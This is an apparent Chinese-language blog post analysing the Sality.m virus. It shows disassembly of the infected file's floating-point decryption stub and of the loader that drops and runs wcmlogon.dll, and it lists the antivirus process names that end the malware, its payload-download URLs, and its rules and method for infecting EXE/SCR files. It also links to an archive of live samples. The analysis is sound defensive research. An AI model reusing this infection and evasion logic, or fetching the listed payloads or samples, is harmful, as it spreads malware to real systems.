zoukankan      html  css  js  c++  java
  • Sality.m分析

    Sality.m分析

    0x1、样本概述

    FILE_A MD5:1C9A0E01C6033801AFC5A12DE1CC5BDC

    FILE_B MD5:4B6B70F4A199CF3EAC1554B08804BC4F

    FILE_C MD5:91741578019D3613EEBD6C8F1862548E

    样本FILE_A是捕获的病毒文件;FILE_B是一款网络连接状态查看工具Tcpview.exe;样本FILE_C是在虚拟机系统中运行文件FILE_A使其感染样本FILE_B所得。本报告全部结果都是通过分析样本FILE_C所得。

    样本FILE_C[以下简称样本]运行后将释放动态库文件wcmlogon.dll到系统目录下;感染以下三个位置中所有的exe和scr扩展名的文件:注册表HKCU和HKLM下启动项文件、当前系统中所有磁盘文件以及共享目录中文件;读取配置文件中的数据,连接网络下载文件并执行。

    样本所采用的主要技术有:浮点指令、多线程、HOOK

    0x2、分析过程

    被感染文件入口点代码被病毒修改,所以样本被加载到内存后直接执行病毒代码,入口点代码功能是解密后执行被感染文件尾部的加密病毒数据;被解密后的代码功能为释放文件中被压缩的动态库文件,并加载调用其唯一的导出函数。病毒动态库文件导出函数并没有实际功能,主要功能代码都在其入口函数当中,导出函数只是为初始化其入口函数的相关参数。动态库文件的入口函数主要功能有:感染文件,下载文件执行,挂钩windows消息,病毒进程执行条件判断。

    样本的执行流程图如下:

    0x2.1、被感染文件入口

    程序入口代码功能是完成对指定数据块的解密,然后跳转到解密数据块执行。

    解密算法没有什么新意,但解密方式比较特别,是在对数据进行解密的过程中使用了八条浮点指令。完整的入口代码如下,同时下面的代码长度也是病毒修改的正常文件入口处代码的长度。

    .text:00408367                 pusha
    .text:00408368                 call    sub_4083BC
    //计算入口代码相对00401000的重定位偏移offset
    //设定解密长度len
    .text:0040836D                 nop
    .text:0040836E                 lea     edi, [ebp+401000h] 
    //计算入口点地址ep_offset
    //ep_offset = 00401000 + offset
    .text:00408374                 push    13C99h
    .text:00408379                 add     edi, [esp]
    .text:0040837C                 mov     esi, edi
    //计算解密地址
    //de_off = ep_offset + 13C99
    .text:0040837E                 push    40102Fh
    .text:00408383                 push    ebp
    //压入两个参数,用于计算循环起始地址
    //0040102f和offset
    .text:00408384                 finit
    .text:00408387                 fild    dword ptr [esp]
    .text:0040838A                 fild    dword ptr [esp+4]
    .text:0040838E                 faddp   st(1), st
    .text:00408390                 fistp   dword ptr [esp]
    .text:00408393                 mov     ebx, [esp] 
    //计算循环起始地址为004083CB调用
    //loop_off = 0040102F + offset
    .text:00408396                 lodsw
    //读出密文数据
    .text:00408398                 push    ecx
    .text:00408399                 fild    dword ptr [esp]
    .text:0040839C                 fimul   dword ptr [ebp+401066h] 
    //[ebp+401066] = [004083CD] = 000022DA = temp_key
    .text:004083A2                 fistp   dword ptr [esp]
    .text:004083A5                 shl     ecx, 1
    .text:004083A7                 sub     [esp], ecx
    //计算解密密钥
    //key = len * temp_key - len*2
    .text:004083AA                 xor     eax, [esp] 
    //解密密文
    //data = data ^ key
    .text:004083AD                 shr     ecx, 1
    //恢复ecx设定
    .text:004083AF                 stosw
    //保存解密后数据
    .text:004083B1                 pop     eax
    //恢复栈平衡
    .text:004083B2                 loop    loc_4083CB
    //解密长度减1,开始循环解密,直到解密长度为0
    //len = len - 1
    .text:004083B4                 mov     cx, 4FFCh
    .text:004083B8                 sub     edi, ecx
    .text:004083BA                 jmp     edi
    //解密结束,跳转到de_off - 4 开始执行。
    
    .text:004083BC                 mov     ebp, [esp]
    .text:004083BF                 sub     ebp, 401006h
    .text:004083C5                 mov     ecx, 2800h
    .text:004083CA                 retn
    //计算代码重定位偏移
    //设定解密长度
    
    .text:004083CB                 jmp     ebx
    //跳转开始循环
    //jump loop_off
    
    .text:004083CD                 dd 22DAh
    //temp_key

    0x2.2、解密后代码

    解密后代码的主要功能有4个:恢复被修改的入口点代码,修改返回原始入口点的代码;动态获取相关api地址;释放被感染文件中保存的压缩格式的病毒动态库文件,加载文件并调用其唯一的导出函数;返回已经恢原始文件代码的入口点开始执行。

    .wrdata:0041C004                 pop     eax
    .wrdata:0041C005                 pop     eax
    .wrdata:0041C006                 mov     ecx, 6Ah
    .wrdata:0041C00B                 mov     eax, offset sub_401000
    .wrdata:0041C010                 add     eax, ebp
    .wrdata:0041C012                 pop     ebx
    .wrdata:0041C013                 add     ebp, ebx
    .wrdata:0041C015                 mov     [ebp+401243h], eax
    //修改地址0041C243下的数据,将跳转地址修改为文件原始入口点地址
    //使被感染文件能够正常执行。
    .wrdata:0041C01B                 lea     esi, unk_4014E2[ebp]
    .wrdata:0041C021                 mov     edi, eax
    .wrdata:0041C023                 rep movsb
    //以上代码是从解密后的代码起始到功能1部分
    //恢复修改的入口点代码,修改返回原始入口点的代码
    ===========================================================
    .wrdata:0041C025                 xor     ebx, ebx
    .wrdata:0041C027                 mov     ebx, fs:30h
    .wrdata:0041C02D                 test    ebx, ebx
    .wrdata:0041C02F                 js      short loc_41C03F
    ……………………
    .wrdata:0041C03F                 mov     ebx, [ebx+34h]
    .wrdata:0041C042                 lea     ebx, [ebx+7Ch]
    .wrdata:0041C045                 mov     ebx, [ebx+3Ch]
    //通过fs寄存器获取kernel32.dll的image_base地址
    ……………………
    .wrdata:0041C062                 mov     ss:dword_40140B[ebp], ebx
    .wrdata:0041C068                 lea     eax, string_loadlibrary[ebp]
    .wrdata:0041C06E                 push    eax
    .wrdata:0041C06F                 push    ss:dword_40140B[ebp]
    .wrdata:0041C075                 call    fun_str_fun_addr
    .wrdata:0041C07A                 call    fun_check_eax
    .wrdata:0041C07F                 mov     dword ptr ss:addr_loadlibrary[ebp], eax
    .wrdata:0041C085                 lea     eax, string_GetProcAddress[ebp]
    .wrdata:0041C08B                 push    eax
    .wrdata:0041C08C                 push    ss:dword_40140B[ebp]
    .wrdata:0041C092                 call    fun_str_fun_addr
    .wrdata:0041C097                 call    fun_check_eax
    .wrdata:0041C09C                 mov     ss:addr_GetProcAddress[ebp], eax
    .wrdata:0041C0A2                 lea     eax, string_kernel32[ebp]
    .wrdata:0041C0A8                 push    eax
    .wrdata:0041C0A9                 call    dword ptr ss:addr_loadlibrary[ebp]
    .wrdata:0041C0AF                 call    fun_check_eax
    .wrdata:0041C0B4                 mov     ss:dword_40140B[ebp], eax
    .wrdata:0041C0BA                 lea     edi, string_funnamelist[ebp]
    .wrdata:0041C0C0                 mov     edx, ss:dword_40140B[ebp]
    .wrdata:0041C0C6                 call    fun_loop_getfunaddr
    .wrdata:0041C0CB                 push    2
    .wrdata:0041C0CD                 call    dword ptr [ebp+401486h] 
    //此处调用的函数为: kernel32.SetErrorMode
    .wrdata:0041C0D3                 lea     eax, (loc_401588+2)[ebp]
    //此处是获取动态库文件名字符串“LZ32”
    .wrdata:0041C0D9                 push    eax
    .wrdata:0041C0DA                 call    dword ptr ss:addr_loadlibrary[ebp]
    .wrdata:0041C0E0                 call    fun_check_eax
    .wrdata:0041C0E5                 mov     ss:dword_40140B[ebp], eax
    .wrdata:0041C0EB                 lea     edi, (loc_40149A+1)[ebp]
    //此处是获取要动态获取的函数名列表
    .wrdata:0041C0F1                 mov     edx, ss:dword_40140B[ebp]
    .wrdata:0041C0F7                 call    fun_loop_getfunaddr
    //省略了部分非关键代码,以上代码功能2部分
    //通过fs寄存器获取kernel基址,遍历其导出表,获取Loadlibrary函数和GetProcadress函数,然后动态加载kernel32和LZ32并获取病毒代码要使用的函数。
    ===========================================================
    .wrdata:0041C0FC                 lea     edi, unk_4014E2[ebp]
    .wrdata:0041C102                 push    80h
    .wrdata:0041C107                 push    edi
    .wrdata:0041C108                 call    dword ptr [ebp+401475h]
    // addr_GetSystemDirectoryA
    .wrdata:0041C10E                 cmp     byte ptr [ebp+eax+4014E1h], 5Ch
    .wrdata:0041C116                 jnz     short loc_41C119
    .wrdata:0041C118                 dec     eax
    ……………………
    .wrdata:0041C137                 push    eax
    .wrdata:0041C138                 push    2
    .wrdata:0041C13A                 push    2
    .wrdata:0041C13C                 push    eax
    .wrdata:0041C13D                 inc     eax
    .wrdata:0041C13E                 push    eax
    .wrdata:0041C13F                 push    40000000h
    .wrdata:0041C144                 push    edi
    .wrdata:0041C145                 call    dword ptr [ebp+40143Fh] 
    //ss:[0041C43F]=7C801A24 (kernel32.CreateFileA)
    .wrdata:0041C14B                 mov     [ebp+40137Bh], eax
    .wrdata:0041C151                 inc     eax
    .wrdata:0041C152                 jz      short loc_41C16E
    .wrdata:0041C154                 lea     edi, (loc_401991+3)[ebp]
    .wrdata:0041C15A                 push    ecx
    .wrdata:0041C15B                 push    esp
    .wrdata:0041C15C                 push    466Ch
    .wrdata:0041C161                 push    edi
    .wrdata:0041C162                 push    dword ptr [ebp+40137Bh]
    .wrdata:0041C168                 call    dword ptr [ebp+40145Dh] 
    // ss:[0041C45D]=7C810F9F (kernel32.WriteFile)
    ……………………
    .wrdata:0041C1FE                 lea     eax, unk_4014E2[ebp] 
    //string:C:WINDOWSsystem32wcmlogon.dll
    .wrdata:0041C204                 push    eax
    .wrdata:0041C205                 call    dword ptr ss:addr_loadlibrary[ebp]
    .wrdata:0041C20B                 call    fun_check_eax
    .wrdata:0041C210                 mov     ss:dword_40140B[ebp], eax
    .wrdata:0041C216                 lea     eax, unk_4014C3[ebp] 
    // string:_RtlMoveExecute
    .wrdata:0041C21C                 push    eax
    .wrdata:0041C21D                 push    ss:dword_40140B[ebp]
    .wrdata:0041C223                 call    fun_str_fun_addr
    .wrdata:0041C228                 call    fun_check_eax
    .wrdata:0041C22D                 mov     [ebp+4014A2h], eax
    .wrdata:0041C233                 lea     edi, sub_401000[ebp]
    .wrdata:0041C239                 push    edi
    .wrdata:0041C23A                 call    dword ptr [ebp+4014A2h] 
    //省略了部分非关键代码,以上代码功能3部分
    //释放病毒体动态库文件,获取其唯一导出函数并调用执行。
    ===========================================================
    .wrdata:0041C240                 pop     eax
    .wrdata:0041C241                 popa
    .wrdata:0041C242                 mov     eax, offset loc_4011F0
    //此处地址在恢复入口点代码之前会被修改为原始入口点地址
    .wrdata:0041C247                 jmp     eax
    //以上代码是从解密后的代码起始到功能4部分
    //恢复文件入口点的上下文环境,返回已经恢原始文件代码的入口点开始执行

    0x3、病毒动态库文件

    动态库文件只有一个导出函数,函数名为:_RtlMoveExecute,功能为拷贝数据到共享内存块,共享内存块将做为动态库入口代码的相关参数使用。动态库文件的主要功能都是在其入口函数中实现的,包括感染文件,下载文件执行,挂钩windows消息,病毒进程执行条件判断等。

    0x3.1、导出函数_RtlMoveExecute

    导出函数有一个参数,是本地数据的地址。函数功能将本地数据拷贝到入口函数申请的内存空间中,供入口点函数调用修改使用。

    所调用函数共有2个参数,第一个参数是本地数据地址,第二个参数是数据拷贝方向,0和1表示从内存拷贝至本地;2表示从本地拷贝至内存。其中还有2个隐含参数,一个是拷贝数据的长度:0x5000;另一个是内存空间的地址。

    .text:10001EC0                 push    ebp
    .text:10001EC1                 mov     ebp, esp
    .text:10001EC3                 cmp     dword ptr [ebp+8], 0
    .text:10001EC7                 jz      short loc_10001ED7
    .text:10001EC9                 push    2
    //压入参数,表示是将本地数据拷贝到共享内存空间中
    .text:10001ECB                 mov     eax, [ebp+8]
    .text:10001ECE                 push    eax
    //内存空间句柄
    .text:10001ECF                 call    sub_10001DE0
    //调用数据拷贝函数
    .text:10001ED4                 add     esp, 8
    .text:10001ED7                 pop     ebp
    .text:10001ED8                 retn

    0x3.2、入口函数

    入口点函数主要功能有:申请内存空间,挂钩windows消息,创建3个功能线程。

    申请内存空间是为了在几个线程之间进行通信,对申请的内存空间的数据修改和初始化都是通过函数sub_10001DE0实现的,已经在动态库的导出函数中作了介绍。

    挂钩windows消息,其挂钩的消息类型为:WH_GETMESSAGE,用以截获从消息队列送出的消息,回调函数和动态库入口函数相同。

    创建的线程分别为:感染线程、下载线程和进程管理线程

    0x4、线程说明

    由于各个线程代码较长,不再报告中粘贴,只做功能介绍,具体内容请参照附件中的idb文件。

    0x4.1、进程管理线程:

    函数地址:sub_10001350

    功能:遍历进程,如果进程路径包含指定字符串,将退出病毒进程。具体字符串列表如下:

    NAV、AVP、KAV、DRWEB、OUTPOST、ZONEALARM、NOD32、ANTI、NMAIN、MCUPDATE、MGUI、NPROTECT、NUPGRADE、RTVSCAN、SAVSCAN、AUTOTRACE、AVSYNMGR、ATGUARD、AVGSERV、AVPROTECT、BIDEF、BIDSERVER、BIPCP、BLACKICE、CLEANER、DRWATSON、DRWTSN32、LOCKDOWN、MCAGENT、NPFMESSENGER、PERISCOPE、PINGSCAN、PORTDETECTIVE、PROTECTX、TRJSCAN、VSMAIN、AVLTMAIN、ESCANH、ICSSUPPNT、ICSUPP、AVXQUAR

    0x4.2、下载线程:

    函数地址:sub_ 100037D0

    功能:读取配置文件中的相关参数,下载样本到本地并执行。相关url地址如下,但地址并不完整,还会继续和随即字符串拼接,同时url中的“#”也会被替换。

    http://www.bpfq02.com/mrow6/?id

    http://#.egozda.com/?idf

    http://#.kerrabez.com/?id

    333.com/mrow7/?id

    0x4.3、感染线程:

    函数地址:sub_ 10003D00

    功能:感染注册表启动项列表中映像路径为exe的映像文件;所有驱动器中的*.scr和*.exe文件;所有网络共享目录中的*.scr和*.exe文件。

    感染条件:

    1) 文件大小必须在0x1000~0x1400000之间的范围

    2) dos头重的重定位地址必须为0x40

    3) 文件pe格式合法,且文件为32为pe文件格式

    4) 最后一个数据节内不存在调试信息

    5) 倒数第二个数据节的文件大小和内存大小都为0,或都不为0

    6) 如果最后一个节名称不是UPX、TEXT、CODE三个中的任意一个,且节表末尾零数据大小长度大于节表结构长度

    感染方式:

    1) 如果最后一个节名称是UPX、TEXT、CODE三个中的任意一个将增加最后一个数据节的节大小。

    2) 如果最后一个节名称不是UPX、TEXT、CODE三个中的任意一个,且节表末尾零数据大小长度大于节表结构长度,则增加一个数据节。节名称为节名称为文件名尾字母+第二个节名称构成,字母全小写

    3) 修改入口处代码长度为0x6a的数据

    4) 生成随即key,加密原始入口点代码和病毒功能代码。将其写入到最后一个数据节中扩充的节空间或新增的尾节中。

    0x5、附件说明

        附件中文件介绍如下:

    1c9a0e01c6033801afc5a12de1cc5bdc

    得到的被感染文件样本

    Tcpview.exe1

    Tcpview.idb

    被上面的样本感染的病毒文件和对应的idb文件

    ana.txt

    Tcpview.exe1被感染后入口代码的解密函数分析

    Tcpview_decode.exe1

    Tcpview_decode.idb

    Tcpview.exe1文件经过解密后,跳转到解密代码后dump的结果,以及ida分析的相关idb文件

    wcmlogon.dll

    wcmlogon.idb

    解密后代码将释放一个动态库文件,然后调用其唯一的导出函数开始执行.

    name_list.txt

    动态库文件运行后将检测的文件名是否包含执行字符串列表

    system.ini

    动态库文件运行时,将向系统配置文件中写入数据,写入数据为文件的最后一行

    附件下载地址:http://files.cnblogs.com/files/Mikhail/sality_m.zip

  • 相关阅读:
    领域建模
    中科院
    开放搜索服务OpenSearch
    GUIForDebug
    java: org.luaj.vm2.LuaError:XXX module not found lua脚本初始化出错(转)
    new TimerTask(robot)(转)
    lua-TestMore(转)
    Lua 数据库访问(转)
    推荐谈论高并发柱
    查看文章strncpy()功能更好的文章
  • 原文地址:https://www.cnblogs.com/Mikhail/p/5297554.html
Copyright © 2011-2022 走看看